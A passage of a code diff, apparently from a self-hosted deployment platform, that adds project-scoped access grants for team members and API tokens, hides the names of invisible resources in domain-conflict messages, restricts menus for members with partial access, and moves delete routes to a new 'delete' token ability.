= $server->databases()->where('public_port', $port)->where('is_public', true)->first(); - } - if ($foundDatabase) { - return true; + $query = $query->where('id', '!=', $id); } - return false; + return $query->isNotEmpty(); } diff --git a/bootstrap/helpers/domains.php b/bootstrap/helpers/domains.php index 704c90988f..88d55994dc 100644 --- a/bootstrap/helpers/domains.php +++ b/bootstrap/helpers/domains.php @@ -4,7 +4,10 @@ use App\Models\Application; use App\Models\Service; use App\Models\ServiceApplication; use App\Models\ServiceDatabase; +use App\Services\Access\AccessResolver; +use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Collection; +use Illuminate\Support\Facades\Gate; /** * Count domains in a comma-separated FQDN string (e.g. "https://a.com,https://b.com"). @@ -115,6 +118,29 @@ function applicationDomainEntries(Application $application): Collection return $entries->values(); } +/** + * True when the authenticated user cannot see the resource, so a conflict must not reveal its name. + */ +function domainConflictResourceIsHidden(Model $resource): bool +{ + return auth()->check() && Gate::denies('view', $resource); +} + +/** + * @return array{domain: string, resource_name: string, resource_link: null, resource_uuid: null, resource_type: string, message: string} + */ +function hiddenDomainConflict(string $domain, string $type): array +{ + return [ + 'domain' => $domain, + 'resource_name' => 'another resource', + 'resource_link' => null, + 'resource_uuid' => null, + 'resource_type' => $type, + 'message' => "Domain $domain is already in use by another resource in this team", + ]; +} + function checkDomainUsage(ServiceApplication|Application|null $resource = null, ?string $domain = null) { $conflicts = []; @@ -145,79 +171,72 @@ function checkDomainUsage(ServiceApplication|Application|null $resource = null, return domainConflictKey((string) $domain); }); - // Filter applications by team if we have a current team - $appsQuery = Application::query(); - if ($currentTeam) { - $appsQuery = $appsQuery->whereHas('environment.project', function ($query) use ($currentTeam) { - $query->where('team_id', $currentTeam->id); - }); - } - $apps = $appsQuery->get(); + // A member limited to some projects must still see conflicts with every resource of the team. + [$apps, $serviceApps] = app(AccessResolver::class)->withoutVisibilityScope(function () use ($currentTeam) { + $appsQuery = Application::query(); + $serviceAppsQuery = ServiceApplication::query()->with('service'); + if ($currentTeam) { + $appsQuery->whereHas('environment.project', function ($query) use ($currentTeam) { + $query->where('team_id', $currentTeam->id); + }); + $serviceAppsQuery->whereHas('service.environment.project', function ($query) use ($currentTeam) { + $query->where('team_id', $currentTeam->id); + }); + } + + return [$appsQuery->get(), $serviceAppsQuery->get()]; + }); + foreach ($apps as $app) { foreach (applicationDomainEntries($app) as $domainEntry) { $naked_domain = $domainEntry['domain']; - if ($domains->contains(domainConflictKey($naked_domain))) { - if (data_get($resource, 'uuid')) { - if ($resource->uuid !== $app->uuid) { - $conflicts[] = [ - 'domain' => $naked_domain, - 'resource_name' => $app->name, - 'resource_link' => $app->link(), - 'resource_type' => 'application', - 'message' => "Domain $naked_domain is already in use by application '{$app->name}'".($domainEntry['service_name'] ? " (service: {$domainEntry['service_name']})" : ''), - ...($domainEntry['service_name'] ? ['service_name' => $domainEntry['service_name']] : []), - ]; - } - } else { - $conflicts[] = [ - 'domain' => $naked_domain, - 'resource_name' => $app->name, - 'resource_link' => $app->link(), - 'resource_type' => 'application', - 'message' => "Domain $naked_domain is already in use by application '{$app->name}'".($domainEntry['service_name'] ? " (service: {$domainEntry['service_name']})" : ''), - ...($domainEntry['service_name'] ? ['service_name' => $domainEntry['service_name']] : []), - ]; - } + if (! $domains->contains(domainConflictKey($naked_domain))) { + continue; } + if (data_get($resource, 'uuid') && $resource->uuid === $app->uuid) { + continue; + } + if (domainConflictResourceIsHidden($app)) { + $conflicts[] = hiddenDomainConflict($naked_domain, 'application'); + + continue; + } + $conflicts[] = [ + 'domain' => $naked_domain, + 'resource_name' => $app->name, + 'resource_link' => $app->link(), + 'resource_type' => 'application', + 'message' => "Domain $naked_domain is already in use by application '{$app->name}'".($domainEntry['service_name'] ? " (service: {$domainEntry['service_name']})" : ''), + ...($domainEntry['service_name'] ? ['service_name' => $domainEntry['service_name']] : []), + ]; } } - // Filter service applications by team if we have a current team - $serviceAppsQuery = ServiceApplication::query(); - if ($currentTeam) { - $serviceAppsQuery = $serviceAppsQuery->whereHas('service.environment.project', function ($query) use ($currentTeam) { - $query->where('team_id', $currentTeam->id); - }); - } - $apps = $serviceAppsQuery->get(); - foreach ($apps as $app) { + foreach ($serviceApps as $app) { $list_of_domains = collect(explode(',', $app->fqdn))->filter(fn ($fqdn) => $fqdn !== ''); foreach ($list_of_domains as $domain) { if (str($domain)->endsWith('/')) { $domain = str($domain)->beforeLast('/'); } $naked_domain = str($domain)->value(); - if ($domains->contains(domainConflictKey($naked_domain))) { - if (data_get($resource, 'uuid')) { - if ($resource->uuid !== $app->uuid) { - $conflicts[] = [ - 'domain' => $naked_domain, - 'resource_name' => $app->service->name, - 'resource_link' => $app->service->link(), - 'resource_type' => 'service', - 'message' => "Domain $naked_domain is already in use by service '{$app->service->name}'", - ]; - } - } elseif ($domain) { - $conflicts[] = [ - 'domain' => $naked_domain, - 'resource_name' => $app->service->name, - 'resource_link' => $app->service->link(), - 'resource_type' => 'service', - 'message' => "Domain $naked_domain is already in use by service '{$app->service->name}'", - ]; - } + if (! $domains->contains(domainConflictKey($naked_domain))) { + continue; } + if (data_get($resource, 'uuid') && $resource->uuid === $app->uuid) { + continue; + } + if (domainConflictResourceIsHidden($app->service)) { + $conflicts[] = hiddenDomainConflict($naked_domain, 'service'); + + continue; + } + $conflicts[] = [ + 'domain' => $naked_domain, + 'resource_name' => $app->service->name, + 'resource_link' => $app->service->link(), + 'resource_type' => 'service', + 'message' => "Domain $naked_domain is already in use by service '{$app->service->name}'", + ]; } } @@ -266,8 +285,11 @@ function checkIfDomainIsAlreadyUsedViaAPI(Collection|array $domains, ?string $te return domainConflictKey((string) $domain); }); - $applications = Application::ownedByCurrentTeamAPI($teamId)->get(['fqdn', 'uuid', 'name', 'id', 'docker_compose_domains', 'build_pack']); - $serviceApplications = ServiceApplication::ownedByCurrentTeamAPI($teamId)->with('service:id,name')->get(['fqdn', 'uuid', 'id', 'service_id']); + // A token or member limited to some projects must still see conflicts with every resource of the team. + [$applications, $serviceApplications] = app(AccessResolver::class)->withoutVisibilityScope(fn () => [ + Application::ownedByCurrentTeamAPI($teamId)->get(['fqdn', 'uuid', 'name', 'id', 'docker_compose_domains', 'build_pack', 'environment_id']), + ServiceApplication::ownedByCurrentTeamAPI($teamId)->with('service:id,name,uuid,environment_id')->get(['fqdn', 'uuid', 'id', 'service_id']), + ]); if ($uuid) { $applications = $applications->filter(fn ($app) => $app->uuid !== $uuid); @@ -278,6 +300,11 @@ function checkIfDomainIsAlreadyUsedViaAPI(Collection|array $domains, ?string $te foreach (applicationDomainEntries($app) as $domainEntry) { $naked_domain = $domainEntry['domain']; if ($domains->contains(domainConflictKey($naked_domain))) { + if (domainConflictResourceIsHidden($app)) { + $conflicts[] = hiddenDomainConflict($naked_domain, 'application'); + + continue; + } $conflicts[] = [ 'domain' => $naked_domain, 'resource_name' => $app->name, @@ -301,6 +328,11 @@ function checkIfDomainIsAlreadyUsedViaAPI(Collection|array $domains, ?string $te } $naked_domain = str($domain)->value(); if ($domains->contains(domainConflictKey($naked_domain))) { + if ($app->service !== null && domainConflictResourceIsHidden($app->service)) { + $conflicts[] = hiddenDomainConflict($naked_domain, 'service'); + + continue; + } $conflicts[] = [ 'domain' => $naked_domain, 'resource_name' => $app->service->name ?? 'Unknown Service', diff --git a/database/migrations/2026_10_25_100000_add_access_grants_to_team_members_and_tokens.php b/database/migrations/2026_10_25_100000_add_access_grants_to_team_members_and_tokens.php new file mode 100644 index 0000000000..20d860b9bb --- /dev/null +++ b/database/migrations/2026_10_25_100000_add_access_grants_to_team_members_and_tokens.php @@ -0,0 +1,46 @@ +json('access')->nullable(); + }); + } + + if (! Schema::hasColumn('personal_access_tokens', 'scopes')) { + Schema::table('personal_access_tokens', function (Blueprint $table) { + $table->json('scopes')->nullable(); + }); + } + + // Delete becomes its own ability. Tokens that could write could delete, so they keep that. + DB::table('personal_access_tokens')->orderBy('id')->chunkById(500, function ($tokens) { + foreach ($tokens as $token) { + $abilities = json_decode($token->abilities ?? '[]', true); + if (! is_array($abilities) || ! in_array('write', $abilities, true) || in_array('delete', $abilities, true)) { + continue; + } + $abilities[] = 'delete'; + DB::table('personal_access_tokens')->where('id', $token->id)->update(['abilities' => json_encode($abilities)]); + } + }); + } + + public function down(): void + { + Schema::table('team_user', function (Blueprint $table) { + $table->dropColumn('access'); + }); + Schema::table('personal_access_tokens', function (Blueprint $table) { + $table->dropColumn('scopes'); + }); + } +}; diff --git a/resources/views/components/domain-conflict-modal.blade.php b/resources/views/components/domain-conflict-modal.blade.php index 5ad53bc787..e476c1e9d0 100644 --- a/resources/views/components/domain-conflict-modal.blade.php +++ b/resources/views/components/domain-conflict-modal.blade.php @@ -39,7 +39,7 @@
  • {{ $conflict['domain'] }} is used by - @if ($conflict['resource_type'] === 'instance') + @if ($conflict['resource_type'] === 'instance' || blank($conflict['resource_link'] ?? null)) {{ $conflict['resource_name'] }} @else @if (isSubscribed() || !isCloud()) @php + // Members limited to some projects only see project pages; team-level pages return 403 for them. + $teamWide = app(App\Services\Access\AccessResolver::class)->coversWholeTeam(auth()->user(), currentTeam()->id); // An entry with children opens a submenu in place of the main menu (back button + its pages). $navSections = collect([ 'Workspace' => [ // The dashboard lists projects and links to all of them, so project pages count as Dashboard. ['label' => 'Dashboard', 'icon' => 'dashboard', 'href' => '/', 'active' => request()->is('/', 'dashboard/*', 'projects', 'projects/*', 'project/*', 'canvas')], - ['label' => 'Monitoring', 'icon' => 'graph', 'children' => [ + ['label' => 'Monitoring', 'icon' => 'graph', 'visible' => $teamWide, 'children' => [ ['label' => 'Analytics', 'icon' => 'analytics', 'href' => route('analytics'), 'active' => request()->is('analytics')], ['label' => 'Metrics', 'icon' => 'graph', 'href' => route('metrics'), 'active' => request()->is('metrics')], ]], - ['label' => 'Terminal', 'icon' => 'browser-terminal', 'href' => route('terminal'), 'active' => request()->is('terminal*'), 'navigate' => false, 'visible' => auth()->user()?->can('canAccessTerminal')], + ['label' => 'Terminal', 'icon' => 'browser-terminal', 'href' => route('terminal'), 'active' => request()->is('terminal*'), 'navigate' => false, 'visible' => $teamWide && auth()->user()?->can('canAccessTerminal')], ], 'Infrastructure' => [ - ['label' => 'Servers', 'icon' => 'servers', 'href' => '/servers', 'active' => request()->is('server/*', 'servers', 'servers/*')], - ['label' => 'Integrations', 'icon' => 'link', 'children' => [ + ['label' => 'Servers', 'icon' => 'servers', 'href' => '/servers', 'active' => request()->is('server/*', 'servers', 'servers/*'), 'visible' => $teamWide], + ['label' => 'Integrations', 'icon' => 'link', 'visible' => $teamWide, 'children' => [ ['label' => 'Sources', 'icon' => 'sources', 'href' => route('source.all'), 'active' => request()->is('sources', 'source/*')], ['label' => 'Destinations', 'icon' => 'destinations', 'href' => route('destination.index'), 'active' => request()->is('destinations', 'destination/*')], ['label' => 'Registries', 'icon' => 'layers', 'href' => route('registries.index'), 'active' => request()->is('registries'), 'visible' => auth()->user()?->isAdmin()], ['label' => 'S3 Storage', 'icon' => 'storages', 'href' => route('storage.index'), 'active' => request()->is('storages', 'storages/*')], ]], ['label' => 'Shared Variables', 'icon' => 'variables', 'children' => [ - ['label' => 'Overview', 'icon' => 'dashboard', 'href' => route('shared-variables.index'), 'active' => request()->is('shared-variables')], - ['label' => 'Team', 'icon' => 'teams', 'href' => route('shared-variables.team.index'), 'active' => request()->is('shared-variables/team*')], + ['label' => 'Overview', 'icon' => 'dashboard', 'href' => route('shared-variables.index'), 'active' => request()->is('shared-variables'), 'visible' => $teamWide], + ['label' => 'Team', 'icon' => 'teams', 'href' => route('shared-variables.team.index'), 'active' => request()->is('shared-variables/team*'), 'visible' => $teamWide], ['label' => 'Projects', 'icon' => 'projects', 'href' => route('shared-variables.project.index'), 'active' => request()->is('shared-variables/projects', 'shared-variables/project/*')], ['label' => 'Environments', 'icon' => 'layers', 'href' => route('shared-variables.environment.index'), 'active' => request()->is('shared-variables/environments*')], - ['label' => 'Servers', 'icon' => 'servers', 'href' => route('shared-variables.server.index'), 'active' => request()->is('shared-variables/servers', 'shared-variables/server/*')], + ['label' => 'Servers', 'icon' => 'servers', 'href' => route('shared-variables.server.index'), 'active' => request()->is('shared-variables/servers', 'shared-variables/server/*'), 'visible' => $teamWide], ]], ], 'Manage' => [ - ['label' => 'Team', 'icon' => 'teams', 'children' => [ + ['label' => 'Team', 'icon' => 'teams', 'visible' => $teamWide, 'children' => [ ['label' => 'General', 'icon' => 'settings', 'href' => route('team.index'), 'active' => request()->is('team')], ['label' => 'Members', 'icon' => 'teams', 'href' => route('team.member.index'), 'active' => request()->is('team/members*')], ['label' => 'Audit log', 'icon' => 'time-back', 'href' => route('team.audit-log'), 'active' => request()->is('team/audit-log'), 'visible' => auth()->user()?->isAdminOfTeam(currentTeam()->id)], ['label' => 'Admin View', 'icon' => 'admin', 'href' => route('team.admin-view'), 'active' => request()->is('team/admin'), 'visible' => isInstanceAdmin()], ['label' => 'Danger Zone', 'icon' => 'danger', 'href' => route('team.danger-zone'), 'active' => request()->is('team/danger'), 'visible' => auth()->user()?->can('delete', currentTeam()), 'sectionStart' => true], ]], - ['label' => 'Notifications', 'icon' => 'notifications', 'children' => [ + ['label' => 'Notifications', 'icon' => 'notifications', 'visible' => $teamWide, 'children' => [ ['label' => 'Email', 'icon' => 'mail', 'href' => route('notifications.email'), 'active' => request()->is('notifications/email')], ['label' => 'Discord', 'brandIcon' => 'discord', 'href' => route('notifications.discord'), 'active' => request()->is('notifications/discord')], ['label' => 'Telegram', 'brandIcon' => 'telegram', 'href' => route('notifications.telegram'), 'active' => request()->is('notifications/telegram')], @@ -141,15 +143,15 @@ ['label' => 'Webhook', 'icon' => 'destinations', 'href' => route('notifications.webhook'), 'active' => request()->is('notifications/webhook')], ]], ['label' => 'Keys & Tokens', 'icon' => 'keys', 'children' => [ - ['label' => 'Private Keys', 'icon' => 'keys', 'href' => route('security.private-key.index'), 'active' => request()->is('security/private-key*')], - ['label' => 'Cloud Tokens', 'icon' => 'cloud', 'href' => route('security.cloud-tokens'), 'active' => request()->is('security/cloud-tokens*'), 'visible' => auth()->user()?->can('viewAny', App\Models\CloudProviderToken::class)], - ['label' => 'Integration Tokens', 'icon' => 'network', 'href' => route('security.integration-tokens'), 'active' => request()->is('security/integration-tokens'), 'visible' => auth()->user()?->can('viewAny', App\Models\IntegrationToken::class)], - ['label' => 'Cloud-Init Scripts', 'icon' => 'file-content', 'href' => route('security.cloud-init-scripts'), 'active' => request()->is('security/cloud-init-scripts*'), 'visible' => auth()->user()?->can('viewAny', App\Models\CloudInitScript::class)], + ['label' => 'Private Keys', 'icon' => 'keys', 'href' => route('security.private-key.index'), 'active' => request()->is('security/private-key*'), 'visible' => $teamWide], + ['label' => 'Cloud Tokens', 'icon' => 'cloud', 'href' => route('security.cloud-tokens'), 'active' => request()->is('security/cloud-tokens*'), 'visible' => $teamWide && auth()->user()?->can('viewAny', App\Models\CloudProviderToken::class)], + ['label' => 'Integration Tokens', 'icon' => 'network', 'href' => route('security.integration-tokens'), 'active' => request()->is('security/integration-tokens'), 'visible' => $teamWide && auth()->user()?->can('viewAny', App\Models\IntegrationToken::class)], + ['label' => 'Cloud-Init Scripts', 'icon' => 'file-content', 'href' => route('security.cloud-init-scripts'), 'active' => request()->is('security/cloud-init-scripts*'), 'visible' => $teamWide && auth()->user()?->can('viewAny', App\Models\CloudInitScript::class)], ['label' => 'API Tokens', 'icon' => 'code', 'href' => route('security.api-tokens'), 'active' => request()->is('security/api-tokens')], ]], - ['label' => 'Subscription', 'icon' => 'subscription', 'href' => isCloud() ? route('subscription.show') : '', 'active' => request()->is('subscription*'), 'visible' => isCloud() && auth()->user()->isAdmin()], - ['label' => 'Tags', 'icon' => 'tags', 'href' => route('tags.show'), 'active' => request()->is('tags*', 'canvas/tags')], - ['label' => 'Settings', 'icon' => 'settings', 'visible' => isInstanceAdmin(), 'children' => [ + ['label' => 'Subscription', 'icon' => 'subscription', 'href' => isCloud() ? route('subscription.show') : '', 'active' => request()->is('subscription*'), 'visible' => $teamWide && isCloud() && auth()->user()->isAdmin()], + ['label' => 'Tags', 'icon' => 'tags', 'href' => route('tags.show'), 'active' => request()->is('tags*', 'canvas/tags'), 'visible' => $teamWide], + ['label' => 'Settings', 'icon' => 'settings', 'visible' => $teamWide && isInstanceAdmin(), 'children' => [ ['label' => 'General', 'icon' => 'settings', 'href' => route('settings.index'), 'active' => request()->is('settings')], ['label' => 'Advanced', 'icon' => 'grid', 'href' => route('settings.advanced'), 'active' => request()->is('settings/advanced')], ['label' => 'Updates', 'icon' => 'refresh3', 'href' => route('settings.updates'), 'active' => request()->is('settings/updates')], diff --git a/resources/views/livewire/dashboard.blade.php b/resources/views/livewire/dashboard.blade.php index 352060701a..95323131de 100644 --- a/resources/views/livewire/dashboard.blade.php +++ b/resources/views/livewire/dashboard.blade.php @@ -264,6 +264,7 @@ @endif + @if ($showsTeamSections)
    Shared variables - @can('createAnyResource') + @can('createAnyResource', [$environment]) @@ -50,7 +50,7 @@ @if ($environment->isEmpty()) - @can('createAnyResource') + @can('createAnyResource', [$environment]) diff --git a/resources/views/livewire/security/api-tokens.blade.php b/resources/views/livewire/security/api-tokens.blade.php index 2fd7a387c3..d863dc18b7 100644 --- a/resources/views/livewire/security/api-tokens.blade.php +++ b/resources/views/livewire/security/api-tokens.blade.php @@ -65,6 +65,13 @@ :checked="in_array('write', $permissions)" :disabled="in_array('root', $permissions) || !$canUseWritePermissions" />
    +
    + +
  • + +
    +
    +

    Access

    + +
    +
    + + @if ($scopeMode === 'selected') + + @endif +
    +
    @endcan @@ -181,14 +207,23 @@
    -
    - {{ $token->name }} +
    +
    + {{ $token->name }} +
    +
    + @if ($token->scopes === null) + All resources in the team + @else + {{ collect($token->scopes)->map(fn ($scope) => $scopeLabels[($scope['scope'] ?? '').':'.($scope['uuid'] ?? '')] ?? 'Unavailable '.($scope['scope'] ?? 'scope'))->join(', ') }} + @endif +
    @foreach ($token->abilities ?? [] as $ability) $ability === 'root', + 'border-error/20 bg-error/10 text-error' => in_array($ability, ['root', 'delete']), 'border-warning/20 bg-warning/10 text-warning' => in_array($ability, ['write', 'write:sensitive']), 'border-coollabs/20 bg-coollabs/10 text-coollabs dark:border-warning/20 dark:bg-warning/10 dark:text-warning' => $ability === 'deploy', 'border-neutral-200 bg-neutral-100 text-neutral-600 dark:border-white/[0.08] dark:bg-white/[0.06] dark:text-fg-dim' => in_array($ability, ['read', 'read:sensitive']), diff --git a/resources/views/livewire/team/member.blade.php b/resources/views/livewire/team/member.blade.php index 4b1261a07a..f6a7260bd4 100644 --- a/resources/views/livewire/team/member.blade.php +++ b/resources/views/livewire/team/member.blade.php @@ -31,6 +31,13 @@ class="inline-flex rounded-full bg-neutral-100 px-2 py-0.5 text-[10px] font-medium capitalize text-neutral-600 dark:bg-white/[0.06] dark:text-fg-dim"> {{ data_get($member, 'pivot.role') }} + @can('manageMembers', currentTeam()) + @if (data_get($member, 'pivot.role') === 'member') +
    + {{ App\Livewire\Team\Member\Access::summary(data_get($member, 'pivot.access')) }} +
    + @endif + @endcan
    @can('manageMembers', currentTeam())
    @@ -81,6 +88,12 @@ @endif @endif + @if (data_get($member, 'pivot.role') === 'member') + + @endif
    + @if ($projectOptions->isNotEmpty()) +
    + + +
    + @endif + + +
    + + @if (count($grants) === 0) + + This member will not see any project, environment, or resource in this team. + + @endif + + @foreach ($grants as $index => $grant) +
    +
    +
    + +
    + +
    +
    + @foreach ($levels as $level) + + @endforeach +
    + @error("grants.{$index}.levels") +

    {{ $message }}

    + @enderror +
    + @endforeach + +
    + +
    +
    + + + Cancel + Save + + + @endif +
    diff --git a/resources/views/livewire/team/member/index.blade.php b/resources/views/livewire/team/member/index.blade.php index 687f870a3b..c5fe270b21 100644 --- a/resources/views/livewire/team/member/index.blade.php +++ b/resources/views/livewire/team/member/index.blade.php @@ -136,6 +136,10 @@ next-disabled="page >= lastPage" /> + @can('manageMembers', currentTeam()) + + @endcan + @can('manageInvitations', currentTeam()) diff --git a/routes/api.php b/routes/api.php index f985b94332..3c0f13a5ba 100644 --- a/routes/api.php +++ b/routes/api.php @@ -95,7 +95,7 @@ Route::group([ Route::get('/team/envs', [SharedEnvironmentVariablesController::class, 'team_envs'])->middleware(['api.ability:read']); Route::post('/team/envs', [SharedEnvironmentVariablesController::class, 'team_create_env'])->middleware(['api.ability:write']); Route::patch('/team/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'team_update_env'])->middleware(['api.ability:write']); - Route::delete('/team/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'team_delete_env'])->middleware(['api.ability:write']); + Route::delete('/team/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'team_delete_env'])->middleware(['api.ability:delete']); Route::get('/teams/{id}', [TeamController::class, 'team_by_id'])->middleware(['api.ability:read']); Route::get('/teams/{id}/members', [TeamController::class, 'members_by_id'])->middleware(['api.ability:read']); @@ -106,46 +106,46 @@ Route::group([ Route::get('/projects/{uuid}/envs', [SharedEnvironmentVariablesController::class, 'project_envs'])->middleware(['api.ability:read']); Route::post('/projects/{uuid}/envs', [SharedEnvironmentVariablesController::class, 'project_create_env'])->middleware(['api.ability:write']); Route::patch('/projects/{uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'project_update_env'])->middleware(['api.ability:write']); - Route::delete('/projects/{uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'project_delete_env'])->middleware(['api.ability:write']); + Route::delete('/projects/{uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'project_delete_env'])->middleware(['api.ability:delete']); Route::get('/projects/{uuid}/environments/{environment_name_or_uuid}/envs', [SharedEnvironmentVariablesController::class, 'environment_envs'])->middleware(['api.ability:read']); Route::post('/projects/{uuid}/environments/{environment_name_or_uuid}/envs', [SharedEnvironmentVariablesController::class, 'environment_create_env'])->middleware(['api.ability:write']); Route::patch('/projects/{uuid}/environments/{environment_name_or_uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'environment_update_env'])->middleware(['api.ability:write']); - Route::delete('/projects/{uuid}/environments/{environment_name_or_uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'environment_delete_env'])->middleware(['api.ability:write']); + Route::delete('/projects/{uuid}/environments/{environment_name_or_uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'environment_delete_env'])->middleware(['api.ability:delete']); Route::get('/projects/{uuid}/{environment_name_or_uuid}', [ProjectController::class, 'environment_details'])->middleware(['api.ability:read']); Route::post('/projects/{uuid}/environments', [ProjectController::class, 'create_environment'])->middleware(['api.ability:write']); Route::patch('/projects/{uuid}/environments/{environment_name_or_uuid}', [ProjectController::class, 'update_environment'])->middleware(['api.ability:write']); - Route::delete('/projects/{uuid}/environments/{environment_name_or_uuid}', [ProjectController::class, 'delete_environment'])->middleware(['api.ability:write']); + Route::delete('/projects/{uuid}/environments/{environment_name_or_uuid}', [ProjectController::class, 'delete_environment'])->middleware(['api.ability:delete']); Route::post('/projects', [ProjectController::class, 'create_project'])->middleware(['api.ability:write']); Route::patch('/projects/{uuid}', [ProjectController::class, 'update_project'])->middleware(['api.ability:write']); - Route::delete('/projects/{uuid}', [ProjectController::class, 'delete_project'])->middleware(['api.ability:write']); + Route::delete('/projects/{uuid}', [ProjectController::class, 'delete_project'])->middleware(['api.ability:delete']); Route::get('/security/keys', [SecurityController::class, 'keys'])->middleware(['api.ability:read']); Route::post('/security/keys', [SecurityController::class, 'create_key'])->middleware(['api.ability:write']); Route::get('/security/keys/{uuid}', [SecurityController::class, 'key_by_uuid'])->middleware(['api.ability:read']); Route::patch('/security/keys/{uuid}', [SecurityController::class, 'update_key'])->middleware(['api.ability:write']); - Route::delete('/security/keys/{uuid}', [SecurityController::class, 'delete_key'])->middleware(['api.ability:write']); + Route::delete('/security/keys/{uuid}', [SecurityController::class, 'delete_key'])->middleware(['api.ability:delete']); Route::post('/security/integration-tokens', [IntegrationTokensController::class, 'store'])->middleware(['api.ability:write']); Route::get('/cloud-tokens', [CloudProviderTokensController::class, 'index'])->middleware(['api.ability:read']); Route::post('/cloud-tokens', [CloudProviderTokensController::class, 'store'])->middleware(['api.ability:write']); Route::get('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'show'])->middleware(['api.ability:read']); Route::patch('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'update'])->middleware(['api.ability:write']); - Route::delete('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'destroy'])->middleware(['api.ability:write']); + Route::delete('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'destroy'])->middleware(['api.ability:delete']); Route::post('/cloud-tokens/{uuid}/validate', [CloudProviderTokensController::class, 'validateToken'])->middleware(['api.ability:write']); Route::get('/cloud-init-scripts', [CloudInitScriptsController::class, 'index'])->middleware(['api.ability:read']); Route::post('/cloud-init-scripts', [CloudInitScriptsController::class, 'store'])->middleware(['api.ability:write']); Route::get('/cloud-init-scripts/{uuid}', [CloudInitScriptsController::class, 'show'])->middleware(['api.ability:read']); Route::patch('/cloud-init-scripts/{uuid}', [CloudInitScriptsController::class, 'update'])->middleware(['api.ability:write']); - Route::delete('/cloud-init-scripts/{uuid}', [CloudInitScriptsController::class, 'destroy'])->middleware(['api.ability:write']); + Route::delete('/cloud-init-scripts/{uuid}', [CloudInitScriptsController::class, 'destroy'])->middleware(['api.ability:delete']); Route::get('/s3-storages', [S3StoragesController::class, 'index'])->middleware(['api.ability:read']); Route::post('/s3-storages', [S3StoragesController::class, 'store'])->middleware(['api.ability:write']); Route::get('/s3-storages/{uuid}', [S3StoragesController::class, 'show'])->middleware(['api.ability:read']); Route::patch('/s3-storages/{uuid}', [S3StoragesController::class, 'update'])->middleware(['api.ability:write']); - Route::delete('/s3-storages/{uuid}', [S3StoragesController::class, 'destroy'])->middleware(['api.ability:write']); + Route::delete('/s3-storages/{uuid}', [S3StoragesController::class, 'destroy'])->middleware(['api.ability:delete']); Route::post('/s3-storages/{uuid}/validate', [S3StoragesController::class, 'validateStorage'])->middleware(['api.ability:write']); Route::get('/deploy', [OtherController::class, 'post_required'])->middleware(['api.ability:deploy']); @@ -162,7 +162,7 @@ Route::group([ Route::get('/servers/{uuid}/envs', [SharedEnvironmentVariablesController::class, 'server_envs'])->middleware(['api.ability:read']); Route::post('/servers/{uuid}/envs', [SharedEnvironmentVariablesController::class, 'server_create_env'])->middleware(['api.ability:write']); Route::patch('/servers/{uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'server_update_env'])->middleware(['api.ability:write']); - Route::delete('/servers/{uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'server_delete_env'])->middleware(['api.ability:write']); + Route::delete('/servers/{uuid}/envs/{env_id}', [SharedEnvironmentVariablesController::class, 'server_delete_env'])->middleware(['api.ability:delete']); // Server subsystem APIs (Docker cleanup, log drains, Sentinel, Cloudflare Tunnel). Route::get('/servers/{uuid}/docker-cleanup', [ServerDockerCleanupController::class, 'show'])->middleware(['api.ability:read']); @@ -185,7 +185,7 @@ Route::group([ Route::get('/destinations', [DestinationsController::class, 'index'])->middleware(['api.ability:read']); Route::get('/destinations/{uuid}', [DestinationsController::class, 'show'])->middleware(['api.ability:read']); Route::patch('/destinations/{uuid}', [DestinationsController::class, 'update'])->middleware(['api.ability:write']); - Route::delete('/destinations/{uuid}', [DestinationsController::class, 'delete'])->middleware(['api.ability:write']); + Route::delete('/destinations/{uuid}', [DestinationsController::class, 'delete'])->middleware(['api.ability:delete']); Route::get('/servers/{server_uuid}/destinations', [DestinationsController::class, 'index_by_server'])->middleware(['api.ability:read']); Route::post('/servers/{server_uuid}/destinations', [DestinationsController::class, 'create'])->middleware(['api.ability:write']); @@ -195,7 +195,7 @@ Route::group([ Route::get('/servers/{uuid}/registries', [ServerDockerRegistriesController::class, 'index'])->middleware(['api.ability:read:sensitive']); Route::post('/servers/{uuid}/registries', [ServerDockerRegistriesController::class, 'login'])->middleware(['api.ability:write']); Route::post('/servers/{uuid}/registries/{registry}/check', [ServerDockerRegistriesController::class, 'check'])->middleware(['api.ability:write']); - Route::delete('/servers/{uuid}/registries/{registry}', [ServerDockerRegistriesController::class, 'logout'])->middleware(['api.ability:write']); + Route::delete('/servers/{uuid}/registries/{registry}', [ServerDockerRegistriesController::class, 'logout'])->middleware(['api.ability:delete']); Route::get('/servers/{uuid}/proxy', [ServerProxyController::class, 'show'])->middleware(['api.ability:read']); Route::patch('/servers/{uuid}/proxy', [ServerProxyController::class, 'update'])->middleware(['api.ability:write']); @@ -209,7 +209,7 @@ Route::group([ Route::post('/servers/{uuid}/transfer/complete', [ServerTransferController::class, 'complete'])->middleware(['api.ability:write']); Route::post('/servers/{uuid}/migrate', [ServerTransferController::class, 'migrate'])->middleware(['api.ability:write']); Route::patch('/servers/{uuid}', [ServersController::class, 'update_server'])->middleware(['api.ability:write']); - Route::delete('/servers/{uuid}', [ServersController::class, 'delete_server'])->middleware(['api.ability:write']); + Route::delete('/servers/{uuid}', [ServersController::class, 'delete_server'])->middleware(['api.ability:delete']); Route::get('/hetzner/locations', [HetznerController::class, 'locations'])->middleware(['api.ability:read']); Route::get('/hetzner/server-types', [HetznerController::class, 'serverTypes'])->middleware(['api.ability:read']); @@ -243,7 +243,7 @@ Route::group([ Route::get('/tags', [TagsController::class, 'tags'])->middleware(['api.ability:read']); Route::post('/tags', [TagsController::class, 'create'])->middleware(['api.ability:write']); Route::patch('/tags/{uuid}', [TagsController::class, 'update'])->middleware(['api.ability:write']); - Route::delete('/tags/{uuid}', [TagsController::class, 'delete'])->middleware(['api.ability:write']); + Route::delete('/tags/{uuid}', [TagsController::class, 'delete'])->middleware(['api.ability:delete']); 